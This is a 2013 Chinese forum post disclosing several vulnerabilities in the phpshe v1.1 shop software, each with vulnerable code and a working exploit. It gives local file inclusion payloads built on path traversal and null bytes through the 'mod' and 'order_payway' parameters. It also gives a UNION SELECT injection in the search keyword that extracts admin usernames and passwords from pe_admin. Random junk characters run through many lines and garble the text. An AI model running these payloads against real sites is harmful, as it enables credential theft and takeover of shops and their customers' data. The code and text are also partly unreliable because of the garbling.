找回密码
 立即注册
查看: 3146|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/8 @! X5 u' \' T
/* Phpshe v1.1 Vulnerability
) y  p  y  V/ p/ l' G2 O; R/* ========================! j7 W4 m8 V6 W+ Q" m/ C
/* By: : Kn1f3$ E6 L& W8 k# I% Y6 [
/* E-Mail : 681796@qq.com6 a# R' A$ X+ b+ a$ j& h
/*******************************************************/$ Z) ^6 ]0 G( _$ V
0×00 整体大概参数传输1 x& j4 e5 I- f

7 r$ |2 {0 s( c4 T2 g; k5 z; M" w" j6 A# n) v1 ~. K- ?
" w, p- o* s( i5 h2 ?, _' i' I
//common.php
8 x' m( ?( x1 ]8 U1 o  pif (get_magic_quotes_gpc()) {
& l+ w( O0 `, m7 x0 {( n; P8 @9 W- t!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');- D: U3 K3 g: c3 w5 ?
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
, {+ d! e# A; L: R}0 i$ p" P* ~, S( I# {8 p- V1 |& l
else {( @& Z3 |, J! M# w2 J5 Q2 k5 x
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');3 X( ?3 m2 P( R& E2 I6 O  F* F( b
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');7 n  `4 O/ [7 c6 B/ C3 F
}
9 [8 x3 s. v0 Z7 q, [session_start();, x" l: M- T+ g, d' A6 g) L
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');$ \5 Q7 d6 W: X; [% R) X7 H0 ^
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');1 y) ]. c# z5 \- {1 h2 D2 s' D3 g& ?

# X8 z+ ~. W9 e% r0×01 包含漏洞* R$ }  K6 B6 P  t  Q: ?0 m
  [" L& }9 Y- q- X
8 r4 {) K4 W3 H. a. h; s
//首页文件
$ ]/ U# S7 _$ I; F0 {% {<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);  `4 h2 N. ~" ]9 @! `" I1 E
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 j5 [) n$ L' a/ E3 p( {pe_result();
: Z% M3 b6 o* W- a. k( V! j?>& O' f* d, A* {
//common 文件 第15行开始1 }( f6 ^: P" Q3 l4 A
url路由配置9 x$ R  U; B$ {, y! e
$module = $mod = $act = 'index';
- X1 u3 M1 k1 m9 L6 R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, z1 {9 ]. f0 H* V$ }9 D. {$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 i: a/ q$ ]' h7 i, W7 I+ a$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 ?* D  c, h  c//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
9 |: g$ P* M3 G- H# K1 A( @" a

1 D  L% Z& W* X4 ~
) I5 c& Z; k6 P7 C
0×02 搜索注入4 B9 _/ Q  {5 ~! T) i3 E& j+ A4 m5 r

) a# g. Z; T. F, Q' N8 A/ l<code id="code2">

//product.php文件  e' }7 i4 ?# ^) U' ^
case 'list':; l9 r- Z& r0 c( P6 |. V3 B, n- f( z- K2 O
$category_id = intval($id);
3 d5 |3 w/ g' z$info = $db->pe_select('category', array('category_id'=>$category_id));
% |, n% W3 ^$ b- o$ P$ M//搜索
1 j1 D2 \  M2 _1 u" M4 n+ u$sqlwhere = " and `product_state` = 1";
' K8 r4 M6 v, ~: O8 Spe_lead('hook/category.hook.php');( C/ g3 {: q2 ]; J, G3 n9 f
if ($category_id) {
3 R6 E  u+ k+ j/ a4 @  T2 Dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";" b" n  p$ C; h- h4 T
}) w/ u7 S, X% l) q3 a+ a# }( P6 F
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤& J* W# K0 n  s, c6 B1 ]; K. M2 d
if ($_g_orderby) {6 y& L1 J, z; A) ~
$orderby = explode('_', $_g_orderby);
$ d- W7 P6 J0 V& C$ f& |. A8 e$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 L# w3 I$ I  X# z* T}
! V# m4 @0 }2 lelse {
8 Z" Q* l) D$ t) x5 A4 I6 M$sqlwhere .= " order by `product_id` desc";% N' P4 _7 g( I. m, B% H7 h! {1 [4 e
}# r5 \) N1 h8 w; O7 F+ O+ o
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
( F, L# h/ F# `: S//热卖排行
4 Z. b! I% f# }6 g" s$product_hotlist = product_hotlist();
& I" v8 J8 v. D/ @% n//当前路径/ F9 U& j; u0 H
$nowpath = category_path($category_id);  @2 y1 C) p0 `$ X
$seo = pe_seo($info['category_name']);
8 \  ]/ T. @' d9 O$ Y( W  F6 Vinclude(pe_tpl('product_list.html'));
& a+ _( b/ k6 m3 X//跟进selectall函数库& }9 T0 J. N) E7 L8 d8 |
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
0 X: m' n" H8 x{4 F% t' E; m2 o6 N: N" H& H
//处理条件语句
3 m1 q, l' X/ M" `, {$sqlwhere = $this->_dowhere($where);% q0 H- C0 P3 i
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 Q" X3 E! f6 `; M( O* G0 P5 P}
) ~# E6 ~5 m( }* R8 k//exp
3 X# E+ ^/ p  `! o! lproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1( i/ G3 t) a: H  h* ^) n

</code>
4 ~1 j- v: N- d6 U0 E, g
2 Y# i/ r0 _: a$ y% E0×03 包含漏洞2& k# v/ J" {  i0 i0 H
2 G; [+ n; I# s' a6 z
<code id="code3">

//order.php

case 'pay':


6 d  g3 f, r) v: w$order_id = pe_dbhold($_g_id);

. H. }2 |8 i3 j* P6 c
$cache_payway = cache::get('payway');


$ e% v$ F" ?: Bforeach($cache_payway as $k => $v) {


. w* Z8 }3 ~; U  k+ t; D. S: L$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


" n" U: i* n3 y% _: R* J$ Q0 Rif ($k == 'bank') {


, t' w, v  s1 Q* R$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

3 s. }5 k8 W1 p, v4 @; B
}

+ B" J, J  ~( c3 y7 K
}


; J7 p8 Q+ b9 M2 ~8 z* T; [3 @$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 t. i! p. a' |6 a3 d7 A# G
!$order['order_id'] && pe_error('订单号错误...');

& a5 ]: q$ N' D" m
if (isset($_p_pesubmit)) {


; z3 Y4 E$ a6 L# f* Z' g% Z/ V3 Gif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 Q0 v1 D7 H, {' ]+ h! y( Z9 O$ X4 ^! A$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


" |! t( m# x5 }% E' V4 Nforeach ($info_list as $v) {


% D6 E1 o8 F4 R1 K# ]$order['order_name'] .= "{$v['product_name']};";5 F6 q0 f6 |# M. j( Q2 m

: N% y5 g% w' ^: T; B* Z
}

7 b% Y( r: G" ~# u
echo '正在为您连接支付网站,请稍后...';


9 F1 m$ D. k6 j$ i6 E+ r8 {include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


! @% p  Q. L% S' f/ |9 e  H2 k}//当一切准备好的时候就可以进行"鸡肋包含了"

  U+ J- J1 {% q7 p) G- I
else {

+ t! z1 @" d0 l2 U
pe_error('支付错误...');

2 }+ j9 m* d7 q. R3 Q' y/ @
}


/ N6 ^! s! h+ ?+ f( J2 u: Q* a}


1 |0 f% }4 Z. n$ [1 C# ]5 |  L$seo = pe_seo('选择支付方式');


5 f& @' n5 z# d7 e" Xinclude(pe_tpl('order_pay.html'));


3 L4 o& M) m. M" f! Abreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>3 Q7 T, m1 w2 K! E3 B1 n: a7 ?& \+ ~

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表